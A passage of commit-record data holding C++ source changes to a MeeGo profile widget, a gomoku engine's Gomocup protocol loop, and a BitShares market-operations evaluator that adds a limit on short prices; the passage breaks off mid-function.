meegotouch-controlpanelapplets.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n#include \"profilewidget.h\"\n#include \"profiledatainterface.h\"\n#include \"profiledialog.h\"\n#include \"profileplugin.h\"\n\n#undef DEBUG\n#include \"..\/debug.h\"\n\n#include <DuiControlPanelIf>\n#include <MLocale>\n#include <MStatusIndicatorMenuExtensionInterface>\n\n#include <QGraphicsLinearLayout>\n\nstatic const char *profiles_translation = \"profiles\";\n\nProfileWidget::ProfileWidget (\n    ProfilePlugin *profilePlugin,\n    QGraphicsItem *parent) :\n        MButton (parent),\n        plugin (profilePlugin),\n        dataIf (0)\n{\n    MLocale       locale;\n\n    SYS_DEBUG (\"\");\n    dataIf = new ProfileDataInterface ();\n\n    \/\/ load our translation catalogue...\n    locale.installTrCatalog (profiles_translation);\n    MLocale::setDefault (locale);\n\n    setViewType (MButton::iconType);\n    setObjectName(\"StatusIndicatorMenuTopRowExtensionButton\");\n    connect (this, SIGNAL (clicked ()), this, SLOT (showProfileDialog ()));\n    connect (dataIf, SIGNAL (currentProfile (int)), SLOT (profileChanged ()));\n\n    profileChanged ();\n}\n\nProfileWidget::~ProfileWidget ()\n{\n    SYS_DEBUG (\"\");\n\n    delete dataIf;\n    dataIf = 0;\n}\n\nvoid\nProfileWidget::profileChanged()\n{\n    \/\/% \"Profile\"\n    setText (qtTrId (\"qtn_prof_profile\"));\n\n    setIconID(dataIf->mapId2StatusIconId(dataIf->getCurrentProfile()));\n}\n\nvoid\nProfileWidget::showProfileDialog ()\n{\n    MStatusIndicatorMenuInterface *menu;\n\n    menu = plugin->statusIndicatorMenuInterface ();\n    if (menu) {\n        menu->hideStatusIndicatorMenu ();\n    }\n\n    ProfileDialog dialog (dataIf);\n\n    connect (&dialog, SIGNAL (profileChanged (int)), SLOT (profileChanged ()));\n\n    dialog.exec ();\n}\n\nvoid\nProfileWidget::retranslateUi ()\n{\n    \/\/% \"Profile\"\n    setText (qtTrId (\"qtn_prof_profile\"));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <sstream>\n#include <time.h>\n#include <vector> \n#include \"chis_gomoku.h\"\nusing namespace std;\nusing namespace chis;\nint chis::gomocup() {\n\tstring command;\n\tBoard b;\n\tvector<int> cl;\n\tvector<Point> ps;\n\n\tbool last_is_board = false;\n\twhile(1) {\n\t\tif(last_is_board && cl.back() == 2) {\n\t\t\tcommand = \"BEGIN\";\n\t\t}\n\t\telse {\n\t\t\tcin >> command;\n\t\t\tfor(auto &i : command) {\n\t\t\t\tif(i >= 'a' && i <= 'z') {\n\t\t\t\t\ti += 'A' - 'a';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(last_is_board) {\n\t\t\tb.clear();\n\t\t\tfor(size_t i = 0; i < ps.size(); ++i) {\n\t\t\t\tb.move(ps[i].x, ps[i].y);\n\t\t\t}\n\t\t\tps.clear();\n\t\t\tcl.clear();\n\t\t\tlast_is_board = false;\n\t\t}\n\t\tif(command == \"START\") {\n\t\t\tb.clear();\n\t\t\tint size;\n\t\t\tcin >> size;\n\t\t\tif(size > 30 || size <= 5) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tchis::SIZE = size;\n\t\t\t\tb.clear();\n\t\t\t\tstd::cout << \"OK\" << endl;\n\t\t\t}\n\t\t}\n\t\tif(command == \"RESTART\") {\n\t\t\tb.clear();\n\t\t\tstd::cout << \"OK\" << endl;\n\t\t\t\/\/command = \"BEGIN\";\n\t\t}\n\t\telse if(command == \"TAKEBACK\") {\n\t\t\tint x, y;\n\t\t\tchar dot;\n\t\t\tcin >> x >> dot >> y;\n\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tb.unmove();\n\t\t\t\tPoint p;\n#ifndef NEGAMAX\n\t\t\t\tp = chis_move(b);\n#endif\n#ifdef NEGAMAX\n\t\t\t\tp = chis_move(b);\n#endif\n\t\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t\t\tb.move(p.x, p.y);\n\t\t\t}\n\t\t}\n\t\telse if(command == \"BEGIN\") {\n\t\t\tPoint p;\n#ifndef NEGAMAX\n\t\t\tp = chis_move(b);\n#endif\n#ifdef NEGAMAX\n\t\t\tp = chis_move(b);\n#endif\n\t\t\tb.move(p.x, p.y);\n\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t}\n\t\telse if(command == \"TURN\") {\n\t\t\tint x, y;\n\t\t\tchar dot;\n\t\t\tcin >> x >> dot >> y;\n\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tPoint p;\n\t\t\t\tb.move(x, y);\n#ifndef NEGAMAX\n\t\t\t\tp = chis_move(b);\n#endif\n#ifdef NEGAMAX\n\t\t\t\tp = chis_move(b);\n#endif\n\t\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t\t\tb.move(p.x, p.y);\n\t\t\t}\n\t\t}\n\n\t\telse if(command == \"BOARD\") {\n\t\t\tcl.clear();\n\t\t\tps.clear();\n\t\t\tb.clear();\n\t\t\tlast_is_board = true;\n\t\t\tstringstream ss;\n\t\t\tcin >> command;\n\t\t\twhile(command != \"DONE\") {\n\t\t\t\tss.clear();\n\t\t\t\tss << command;\n\t\t\t\tint x, y, c;\n\t\t\t\tchar dot;\n\t\t\t\tss >> x >> dot >> y >> dot >> c;\n\t\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE || (c != 1 && c != 2)) {\n\t\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tps.push_back(Point(x, y));\n\t\t\t\t\tcl.push_back(c);\n\t\t\t\t}\n\t\t\t\tcin >> command;\n\t\t\t}\n\n\t\t}\n\t\telse if(command == \"INFO\") {\n\t\t\tstring key;\n\t\t\tcin >> key;\n\t\t\tif(key == \"timeout_turn\") {\/\/ֻ\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\tif(value >= 100) {\n\t\t\t\t\tSEARCH_TIME = value - 170;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tSEARCH_TIME = 100;\n\t\t\t\t}\n\t\t\t\tCHIS_CONFIG.SEARCH_TIME = SEARCH_TIME;\n\t\t\t}\n\t\t\telse if(key == \"timeout_match\") {\n\t\t\t\tcin >> chis::timeout_match;\n\t\t\t}\n\t\t\telse if(key == \"max_memory\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"time_left\") {\n\t\t\t\tcin >> time_left;\n\t\t\t}\n\t\t\telse if(key == \"game_type\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"rule\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"folder\") {\n\t\t\t\tstring t;\n\t\t\t\tcin >> t;\n\t\t\t}\n\t\t}\n\t\telse if(command == \"END\") {\n\t\t\tb.clear();\n\t\t}\n\n\t}\n\n}<commit_msg>Update gomocup.cpp<commit_after>#include <iostream>\n#include <sstream>\n#include <time.h>\n#include <vector> \n#include \"chis_gomoku.h\"\nusing namespace std;\nusing namespace chis;\nint chis::gomocup() {\n\tstring command;\n\tBoard b;\n\tvector<int> cl;\n\tvector<Point> ps;\n\n\tbool last_is_board = false;\n\twhile(1) {\n\t\tif(last_is_board && cl.back() == 2) {\n\t\t\tcommand = \"BEGIN\";\n\t\t}\n\t\telse {\n\t\t\tcin >> command;\n\t\t\tfor(auto &i : command) {\n\t\t\t\tif(i >= 'a' && i <= 'z') {\n\t\t\t\t\ti += 'A' - 'a';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(last_is_board) {\n\t\t\tb.clear();\n\t\t\tfor(size_t i = 0; i < ps.size(); ++i) {\n\t\t\t\tb.move(ps[i].x, ps[i].y);\n\t\t\t}\n\t\t\tps.clear();\n\t\t\tcl.clear();\n\t\t\tlast_is_board = false;\n\t\t}\n\t\tif(command == \"START\") {\n\t\t\tb.clear();\n\t\t\tint size;\n\t\t\tcin >> size;\n\t\t\tif(size > 30 || size <= 5) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tchis::SIZE = size;\n\t\t\t\tb.clear();\n\t\t\t\tstd::cout << \"OK\" << endl;\n\t\t\t}\n\t\t}\n\t\tif(command == \"RESTART\") {\n\t\t\tb.clear();\n\t\t\tstd::cout << \"OK\" << endl;\n\t\t\t\/\/command = \"BEGIN\";\n\t\t}\n\t\telse if(command == \"TAKEBACK\") {\n\t\t\tint x, y;\n\t\t\tchar dot;\n\t\t\tcin >> x >> dot >> y;\n\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tb.unmove();\n\t\t\t\tPoint p;\n\t\t\t\tp = chis_move(b);\n\t\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t\t\tb.move(p.x, p.y);\n\t\t\t}\n\t\t}\n\t\telse if(command == \"BEGIN\") {\n\t\t\tPoint p;\n\t\t\tp = chis_move(b);\n\t\t\tb.move(p.x, p.y);\n\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t}\n\t\telse if(command == \"TURN\") {\n\t\t\tint x, y;\n\t\t\tchar dot;\n\t\t\tcin >> x >> dot >> y;\n\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE) {\n\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tPoint p;\n\t\t\t\tb.move(x, y);\n\t\t\t\tp = chis_move(b);\n\t\t\t\tstd::cout << (int)p.x << \",\" << (int)p.y << endl;\n\t\t\t\tb.move(p.x, p.y);\n\t\t\t}\n\t\t}\n\n\t\telse if(command == \"BOARD\") {\n\t\t\tcl.clear();\n\t\t\tps.clear();\n\t\t\tb.clear();\n\t\t\tlast_is_board = true;\n\t\t\tstringstream ss;\n\t\t\tcin >> command;\n\t\t\twhile(command != \"DONE\") {\n\t\t\t\tss.clear();\n\t\t\t\tss << command;\n\t\t\t\tint x, y, c;\n\t\t\t\tchar dot;\n\t\t\t\tss >> x >> dot >> y >> dot >> c;\n\t\t\t\tif(x < 0 || x >= chis::SIZE || y < 0 || y >= chis::SIZE || (c != 1 && c != 2)) {\n\t\t\t\t\tstd::cout << \"ERROR\" << endl;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tps.push_back(Point(x, y));\n\t\t\t\t\tcl.push_back(c);\n\t\t\t\t}\n\t\t\t\tcin >> command;\n\t\t\t}\n\n\t\t}\n\t\telse if(command == \"INFO\") {\n\t\t\tstring key;\n\t\t\tcin >> key;\n\t\t\tif(key == \"timeout_turn\") {\/\/Ö»½ÓÊÜÂýÆå\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\tif(value >= 100) {\n\t\t\t\t\tSEARCH_TIME = value - 170;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tSEARCH_TIME = 100;\n\t\t\t\t}\n\t\t\t\tCHIS_CONFIG.SEARCH_TIME = SEARCH_TIME;\n\t\t\t}\n\t\t\telse if(key == \"timeout_match\") {\n\t\t\t\tcin >> chis::timeout_match;\n\t\t\t}\n\t\t\telse if(key == \"max_memory\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"time_left\") {\n\t\t\t\tcin >> time_left;\n\t\t\t}\n\t\t\telse if(key == \"game_type\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"rule\") {\n\t\t\t\tint value;\n\t\t\t\tcin >> value;\n\t\t\t\t\/\/TODO\n\t\t\t}\n\t\t\telse if(key == \"folder\") {\n\t\t\t\tstring t;\n\t\t\t\tcin >> t;\n\t\t\t}\n\t\t}\n\t\telse if(command == \"END\") {\n\t\t\tb.clear();\n\t\t}\n\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixing linker errors in file.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <bts\/blockchain\/chain_interface.hpp>\n#include <bts\/blockchain\/exceptions.hpp>\n#include <bts\/blockchain\/market_operations.hpp>\n\nnamespace bts { namespace blockchain {\n\n   \/**\n    *  If the amount is negative then it will withdraw\/cancel the bid assuming\n    *  it is signed by the owner and there is sufficient funds.\n    *\n    *  If the amount is positive then it will add funds to the bid.\n    *\/\n   void bid_operation::evaluate( transaction_evaluation_state& eval_state )\n   { try {\n      if( this->bid_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (bid_index.order_price) );\n\n      auto owner = this->bid_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (bid_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n\n      eval_state.validate_asset( delta_amount );\n\n      auto current_bid   = eval_state._current_state->get_bid_record( this->bid_index );\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_bid ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (bid_index) );\n\n          if( llabs(this->amount) > current_bid->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_bid->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the bid\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_bid )  \/\/ then initialize to 0\n            current_bid = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the bid\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n\n      current_bid->balance     += this->amount;\n\n      \/\/ bids do not count toward depth... they can set any price they like and create arbitrary depth\n      \/\/auto market_stat = eval_state._current_state->get_market_status( bid_index.order_price.quote_asset_id, bid_index.order_price.base_asset_id );\n      \/\/if( !market_stat )\n      \/\/   market_stat = market_status(0,0);\n      \/\/ market_stat->bid_depth += (delta_amount * bid_index.order_price).amount;\n      \/\/eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_bid_record( this->bid_index, *current_bid );\n\n      \/\/auto check   = eval_state._current_state->get_bid_record( this->bid_index );\n   } FC_CAPTURE_AND_RETHROW( (*this) ) }\n\n   \/**\n    *  If the amount is negative then it will withdraw\/cancel the bid assuming\n    *  it is signed by the owner and there is sufficient funds.\n    *\n    *  If the amount is positive then it will add funds to the bid.\n    *\/\n   void ask_operation::evaluate( transaction_evaluation_state& eval_state )\n   { try {\n      if( this->ask_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (ask_index.order_price) );\n\n      auto owner = this->ask_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (ask_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n\n      eval_state.validate_asset( delta_amount );\n\n      auto current_ask   = eval_state._current_state->get_ask_record( this->ask_index );\n\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_ask ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (ask_index) );\n\n          if( llabs(this->amount) > current_ask->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_ask->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the ask\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_ask )  \/\/ then initialize to 0\n            current_ask = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the ask\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n      \n      current_ask->balance     += this->amount;\n      FC_ASSERT( current_ask->balance >= 0, \"\", (\"current_ask\",current_ask)  );\n\n      auto market_stat = eval_state._current_state->get_market_status( ask_index.order_price.quote_asset_id, ask_index.order_price.base_asset_id );\n\n      if( !market_stat )\n         market_stat = market_status(ask_index.order_price.quote_asset_id, ask_index.order_price.base_asset_id, 0,0);\n      market_stat->ask_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_ask_record( this->ask_index, *current_ask );\n\n      \/\/auto check   = eval_state._current_state->get_ask_record( this->ask_index );\n   } FC_CAPTURE_AND_RETHROW( (*this) ) }\n\n   void short_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->short_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (short_index.order_price) );\n\n      auto owner = this->short_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (short_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n      asset delta_quote   = delta_amount * this->short_index.order_price;\n\n      \/** if the USD amount of the order is effectively then don't bother *\/\n      FC_ASSERT( llabs(delta_quote.amount) > 0, \"\", (\"delta_quote\",delta_quote)(\"order\",*this));\n\n      eval_state.validate_asset( delta_amount );\n      auto  asset_to_short = eval_state._current_state->get_asset_record( short_index.order_price.quote_asset_id );\n      FC_ASSERT( asset_to_short.valid() );\n      FC_ASSERT( asset_to_short->is_market_issued(), \"${symbol} is not a market issued asset\", (\"symbol\",asset_to_short->symbol) );\n\n      auto current_short   = eval_state._current_state->get_short_record( this->short_index );\n      \/\/if( current_short ) wdump( (current_short) );\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_short ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (short_index) );\n\n          if( llabs(this->amount) > current_short->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_short->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the short\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_short )  \/\/ then initialize to 0\n            current_short = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the short\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n      \n      current_short->balance     += this->amount;\n      FC_ASSERT( current_short->balance >= 0 );\n\n      auto market_stat = eval_state._current_state->get_market_status( short_index.order_price.quote_asset_id, short_index.order_price.base_asset_id );\n      if( !market_stat )\n         market_stat = market_status(short_index.order_price.quote_asset_id, short_index.order_price.base_asset_id, 0,0);\n      market_stat->bid_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_short_record( this->short_index, *current_short );\n   }\n\n   \/**\n     pay off part of the USD balance, if balance goes to 0 then close out\n     the position and transfer collateral to proper place.\n     update the call price (remove old value, add new value)\n   *\/\n   void cover_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->cover_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (cover_index.order_price) );\n\n      if( this->amount == 0 && !this->new_cover_price ) \n         FC_CAPTURE_AND_THROW( zero_amount );\n\n      if( this->amount < 0 ) \n         FC_CAPTURE_AND_THROW( negative_deposit );\n\n      asset delta_amount  = this->get_amount();\n\n      if( !eval_state.check_signature( cover_index.owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (cover_index.owner) );\n\n      \/\/ subtract this from the transaction\n      eval_state.sub_balance( address(), delta_amount );\n\n      auto current_cover   = eval_state._current_state->get_collateral_record( this->cover_index );\n      if( NOT current_cover )\n         FC_CAPTURE_AND_THROW( unknown_market_order, (cover_index) );\n\n      current_cover->payoff_balance -= delta_amount.amount;\n      \/\/ changing the payoff balance changes the call price... so we need to remove the old record\n      \/\/ and insert a new one.\n      eval_state._current_state->store_collateral_record( this->cover_index, collateral_record() ); \n\n      if( current_cover->payoff_balance > 0 )\n      {\n         auto new_call_price = asset(current_cover->payoff_balance, delta_amount.asset_id) \/\n                               asset((current_cover->collateral_balance*3)\/4, 0);\n\n         if( this->new_cover_price && (*this->new_cover_price > new_call_price) )\n            eval_state._current_state->store_collateral_record( market_index_key( *this->new_cover_price, this->cover_index.owner),\n                                                                *current_cover );\n         else\n            eval_state._current_state->store_collateral_record( market_index_key( new_call_price, this->cover_index.owner),\n                                                                *current_cover );\n      }\n      else \/\/ withdraw the collateral to the transaction to be deposited at owners discretion \/ cover fees\n      {\n         eval_state.add_balance( asset( current_cover->collateral_balance, 0 ) );\n\n         auto market_stat = eval_state._current_state->get_market_status( cover_index.order_price.quote_asset_id, cover_index.order_price.base_asset_id );\n         FC_ASSERT( market_stat, \"this should be valid for there to even be a position to cover\" );\n         market_stat->ask_depth -= current_cover->collateral_balance;\n\n         eval_state._current_state->store_market_status( *market_stat );\n      }\n   }\n\n   void add_collateral_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->cover_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (cover_index.order_price) );\n\n      if( this->amount == 0 ) \n         FC_CAPTURE_AND_THROW( zero_amount );\n\n      if( this->amount < 0 ) \n         FC_CAPTURE_AND_THROW( negative_deposit );\n\n      asset delta_amount  = this->get_amount();\n      eval_state.sub_balance( address(), delta_amount );\n\n      \/\/ update collateral and call price\n      auto current_cover   = eval_state._current_state->get_collateral_record( this->cover_index );\n      if( NOT current_cover )\n         FC_CAPTURE_AND_THROW( unknown_market_order, (cover_index) );\n\n      current_cover->collateral_balance += delta_amount.amount;\n\n      \/\/ changing the payoff balance changes the call price... so we need to remove the old record\n      \/\/ and insert a new one.\n      eval_state._current_state->store_collateral_record( this->cover_index, collateral_record() ); \n\n      auto new_call_price = asset(current_cover->payoff_balance, delta_amount.asset_id) \/\n                            asset((current_cover->collateral_balance*3)\/4, 0);\n\n      eval_state._current_state->store_collateral_record( market_index_key( new_call_price, this->cover_index.owner),\n                                                          *current_cover );\n\n      auto market_stat = eval_state._current_state->get_market_status( cover_index.order_price.quote_asset_id, cover_index.order_price.base_asset_id );\n      FC_ASSERT( market_stat, \"this should be valid for there to even be a position to cover\" );\n      market_stat->ask_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n   }\n\n   void remove_collateral_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      \/\/ Should this even be allowed?\n   }\n\n} } \/\/ bts::blockchain\n<commit_msg>restrict new shorts to within 10 percent<commit_after>#include <bts\/blockchain\/chain_interface.hpp>\n#include <bts\/blockchain\/exceptions.hpp>\n#include <bts\/blockchain\/market_operations.hpp>\n\nnamespace bts { namespace blockchain {\n\n   \/**\n    *  If the amount is negative then it will withdraw\/cancel the bid assuming\n    *  it is signed by the owner and there is sufficient funds.\n    *\n    *  If the amount is positive then it will add funds to the bid.\n    *\/\n   void bid_operation::evaluate( transaction_evaluation_state& eval_state )\n   { try {\n      if( this->bid_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (bid_index.order_price) );\n\n      auto owner = this->bid_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (bid_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n\n      eval_state.validate_asset( delta_amount );\n\n      auto current_bid   = eval_state._current_state->get_bid_record( this->bid_index );\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_bid ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (bid_index) );\n\n          if( llabs(this->amount) > current_bid->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_bid->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the bid\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_bid )  \/\/ then initialize to 0\n            current_bid = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the bid\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n\n      current_bid->balance     += this->amount;\n\n      \/\/ bids do not count toward depth... they can set any price they like and create arbitrary depth\n      \/\/auto market_stat = eval_state._current_state->get_market_status( bid_index.order_price.quote_asset_id, bid_index.order_price.base_asset_id );\n      \/\/if( !market_stat )\n      \/\/   market_stat = market_status(0,0);\n      \/\/ market_stat->bid_depth += (delta_amount * bid_index.order_price).amount;\n      \/\/eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_bid_record( this->bid_index, *current_bid );\n\n      \/\/auto check   = eval_state._current_state->get_bid_record( this->bid_index );\n   } FC_CAPTURE_AND_RETHROW( (*this) ) }\n\n   \/**\n    *  If the amount is negative then it will withdraw\/cancel the bid assuming\n    *  it is signed by the owner and there is sufficient funds.\n    *\n    *  If the amount is positive then it will add funds to the bid.\n    *\/\n   void ask_operation::evaluate( transaction_evaluation_state& eval_state )\n   { try {\n      if( this->ask_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (ask_index.order_price) );\n\n      auto owner = this->ask_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (ask_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n\n      eval_state.validate_asset( delta_amount );\n\n      auto current_ask   = eval_state._current_state->get_ask_record( this->ask_index );\n\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_ask ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (ask_index) );\n\n          if( llabs(this->amount) > current_ask->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_ask->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the ask\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_ask )  \/\/ then initialize to 0\n            current_ask = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the ask\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n      \n      current_ask->balance     += this->amount;\n      FC_ASSERT( current_ask->balance >= 0, \"\", (\"current_ask\",current_ask)  );\n\n      auto market_stat = eval_state._current_state->get_market_status( ask_index.order_price.quote_asset_id, ask_index.order_price.base_asset_id );\n\n      if( !market_stat )\n         market_stat = market_status(ask_index.order_price.quote_asset_id, ask_index.order_price.base_asset_id, 0,0);\n      market_stat->ask_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_ask_record( this->ask_index, *current_ask );\n\n      \/\/auto check   = eval_state._current_state->get_ask_record( this->ask_index );\n   } FC_CAPTURE_AND_RETHROW( (*this) ) }\n\n   void short_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->short_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (short_index.order_price) );\n\n      auto owner = this->short_index.owner;\n      if( !eval_state.check_signature( owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (short_index.owner) );\n\n      asset delta_amount  = this->get_amount();\n      asset delta_quote   = delta_amount * this->short_index.order_price;\n\n      \/** if the USD amount of the order is effectively then don't bother *\/\n      FC_ASSERT( llabs(delta_quote.amount) > 0, \"\", (\"delta_quote\",delta_quote)(\"order\",*this));\n\n      eval_state.validate_asset( delta_amount );\n      auto  asset_to_short = eval_state._current_state->get_asset_record( short_index.order_price.quote_asset_id );\n      FC_ASSERT( asset_to_short.valid() );\n      FC_ASSERT( asset_to_short->is_market_issued(), \"${symbol} is not a market issued asset\", (\"symbol\",asset_to_short->symbol) );\n\n\n\n      auto current_short   = eval_state._current_state->get_short_record( this->short_index );\n      \/\/if( current_short ) wdump( (current_short) );\n\n      if( this->amount == 0 ) FC_CAPTURE_AND_THROW( zero_amount );\n      if( this->amount <  0 ) \/\/ withdraw\n      {\n          if( NOT current_short ) \n             FC_CAPTURE_AND_THROW( unknown_market_order, (short_index) );\n\n          if( llabs(this->amount) > current_short->balance )\n             FC_CAPTURE_AND_THROW( insufficient_funds, (amount)(current_short->balance) );\n\n          \/\/ add the delta amount to the eval state that we withdrew from the short\n          eval_state.add_balance( -delta_amount );\n      }\n      else \/\/ this->amount > 0 - deposit\n      {\n          if( NOT current_short )  \/\/ then initialize to 0\n            current_short = order_record();\n          \/\/ sub the delta amount from the eval state that we deposited to the short\n          eval_state.sub_balance( balance_id_type(), delta_amount );\n      }\n      \n      current_short->balance     += this->amount;\n      FC_ASSERT( current_short->balance >= 0 );\n\n      auto market_stat = eval_state._current_state->get_market_status( short_index.order_price.quote_asset_id, short_index.order_price.base_asset_id );\n      if( !market_stat )\n         market_stat = market_status(short_index.order_price.quote_asset_id, short_index.order_price.base_asset_id, 0,0);\n\n      \/**\n       *  If there is an average, then keep it within 10% of the average.\n       *\/\n      if( market_stat->avg_price_1h.quote_asset_id != 0 )\n      {\n         